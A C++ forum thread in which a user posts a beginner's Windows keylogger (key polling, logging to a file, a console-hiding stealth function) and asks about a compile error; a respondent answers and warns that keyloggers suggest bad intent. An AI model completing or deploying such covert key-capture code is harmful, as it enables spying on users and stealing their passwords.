can't convert char to int

This is a discussion on can't convert char to int within the C++ Programming forums, part of the General Programming Boards category; Hello, so im writing a basic keylogger and i want to add data to log file, but it says that ...

  1. #1
    Registered User
    Join Date
    Apr 2013
    Posts
    29

    can't convert char to int

    Hello, so im writing a basic keylogger and i want to add data to log file, but it says that i cant convert char to int. Everything else works fine.
    Any ideas?

    Code:
    #include <iostream>#include <windows.h>
    #include <stdio.h>
    #include <time.h>
    
    
    using namespace std;
    
    
    int Save(char *file, int key)
    {
        FILE* myfile;
        myfile = fopen(file, "a+");
    
    
        if(key == 1 || key == 2)
            return 0;
        else if(key == 96)
            fprintf(myfile, "%s", "0");
        else if(key == 97)
            fprintf(myfile, "%s", "1");
        else if(key == 98)
            fprintf(myfile, "%s", "2");
        else if(key == 99)
            fprintf(myfile, "%s", "3");
        else if(key == 100)
            fprintf(myfile, "%s", "4");
        else if(key == 101)
            fprintf(myfile, "%s", "5");
        else if(key == 102)
            fprintf(myfile, "%s", "6");
        else if(key == 103)
            fprintf(myfile, "%s", "7");
        else if(key == 104)
            fprintf(myfile, "%s", "8");
        else if(key == 105)
            fprintf(myfile, "%s", "9");
        else if(key == 8)
            fprintf(myfile, "%s", "[BACKSPACE]");
        else
            fprintf(myfile, "%s", &key); // saves key to log file
    
    
        cout << key << endl;
        fclose(myfile);
    
    
    
    
    }
    
    
    void Stealth() // makes window invisible
    {
        HWND stealth;
        AllocConsole();
        stealth = FindWindow("ConsoleWindowClass", NULL);
        ShowWindow(stealth, NULL);
    }
    
    
    int main()
    {
        char i;
        char *time1;
        time_t rawtime;
    
    
        struct tm *timeinfo;
        time(&rawtime);
        timeinfo = localtime(&rawtime);
        //cout << asctime(timeinfo);
        time1 = asctime(timeinfo);
    
    
        Save("Time.txt", time1); //this is the error
    
    
        //Stealth();
    
    
        while(true)
        {
            for(i=8; i<=190; i++)
            {
                if(GetAsyncKeyState(i) == -32767) // checks if any key is pressed
                {
                    Save("Log.txt", i);
                }
            }
        }
    }

  2. #2
    C++ Witch laserlight's Avatar
    Join Date
    Oct 2003
    Location
    Singapore
    Posts
    21,636
    You declared the second parameter of Save to be an int, but then you passed a char* as the argument.

    Why are you writing a keylogger?
    C + C++ Compiler: MinGW port of GCC
    Version Control System: Bazaar

    Look up a C++ Reference and learn How To Ask Questions The Smart Way

  3. #3
    Registered User
    Join Date
    Apr 2013
    Posts
    29
    But how can i make it work? I tried to in function Save to declare key as char, but then it says: cant convert 'char*' to 'char'.

    You know, to rule the world

  4. #4
    C++ Witch laserlight's Avatar
    Join Date
    Oct 2003
    Location
    Singapore
    Posts
    21,636
    Quote Originally Posted by Aeoskype
    I tried to in function Save to declare key as char, but then it says: cant convert 'char*' to 'char'.
    That is because a char* is not a char.

    Quote Originally Posted by Aeoskype
    You know, to rule the world
    I suggest that you work on something else. There are a few valid uses of keyloggers, but generally newbies who want to write keyloggers are assumed to be script kiddies with nefarious intentions. If this had been your first thread here, you may well have been banned by now, or at least I would have closed the thread without giving you the benefit of the doubt.
    C + C++ Compiler: MinGW port of GCC
    Version Control System: Bazaar

    Look up a C++ Reference and learn How To Ask Questions The Smart Way

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Replies: 8
    Last Post: 04-09-2013, 07:06 PM
  2. Convert string to char or use 2d array of char?
    By simpleblue in forum C++ Programming
    Replies: 6
    Last Post: 09-25-2011, 05:00 PM
  3. strcat - cannot convert char to const char
    By ulillillia in forum C Programming
    Replies: 14
    Last Post: 12-07-2006, 09:00 AM
  4. Newb Question - Cant convert Char[41] to Char
    By Kalkran in forum C++ Programming
    Replies: 2
    Last Post: 08-19-2004, 10:05 AM
  5. Replies: 6
    Last Post: 04-14-2002, 11:25 AM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21